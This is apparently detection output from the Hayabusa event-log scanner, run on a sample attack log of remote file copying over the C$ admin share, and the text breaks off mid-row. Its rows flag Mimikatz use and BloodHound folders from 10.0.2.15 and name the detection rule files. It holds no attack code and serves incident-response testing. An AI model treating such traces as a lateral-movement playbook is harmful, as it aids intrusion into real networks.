10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.937 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\mimikatz_trunk : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.937 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\mimikatz_trunk\Win32 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.937 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\mimikatz_trunk\x64 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.937 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\Documents : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.937 +09:00,PC01.example.corp,5145,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.937 +09:00,PC01.example.corp,5145,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.937 +09:00,PC01.example.corp,5145,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.937 +09:00,PC01.example.corp,5145,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.937 +09:00,PC01.example.corp,5145,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.937 +09:00,PC01.example.corp,5145,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.947 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\Downloads : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.947 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\Music : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.947 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\Music\Sample Music\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.947 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\Music\Sample Music : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.957 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\Pictures : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.957 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\Pictures\Sample Pictures\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.957 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\Pictures\Sample Pictures : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.967 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\Videos : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.967 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\Videos\Sample Videos\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.967 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\Videos\Sample Videos : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.967 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\Recorded TV : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.967 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\Recorded TV\Sample Media\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.967 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\Recorded TV\Sample Media : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.977 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\server01$ : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.977 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\server01$\Desktop\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.977 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\server01$\Documents\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.977 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\server01$\Downloads\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.977 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\server01$\Favorites\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.977 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\server01$\Links\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.977 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\server01$\Music\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.977 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\server01$\Pictures\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.977 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\server01$\Videos\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.977 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\server01$\Desktop : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.977 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\server01$\Documents : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.987 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\server01$\Downloads : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.987 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\server01$\Favorites : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.987 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\server01$\Links : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.987 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\server01$\Music : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.987 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\server01$\Pictures : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.987 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\server01$\Saved Games : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.997 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\server01$\Videos : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.997 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\sshd_server : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.997 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\sshd_server\Desktop\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.997 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\sshd_server\Documents\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.997 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\sshd_server\Downloads\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.997 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\sshd_server\Favorites\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.997 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\sshd_server\Links\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.997 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\sshd_server\Music\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.997 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\sshd_server\Pictures\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.997 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\sshd_server\Videos\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.007 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\sshd_server\Desktop : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.007 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\sshd_server\Documents : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.007 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\sshd_server\Downloads : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.007 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\sshd_server\Favorites : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.007 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\sshd_server\Links : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.007 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\sshd_server\Music : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.007 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\sshd_server\Pictures : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.017 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\sshd_server\Saved Games : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.017 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\sshd_server\Videos : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.017 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.017 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Contacts\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.017 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.017 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Documents\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.017 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Downloads\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.027 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Favorites\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.027 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Links\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.027 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Music\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.027 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Pictures\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.027 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Saved Games\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.027 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Searches\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.027 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Videos\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.027 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Contacts : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.037 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.037 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.037 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral 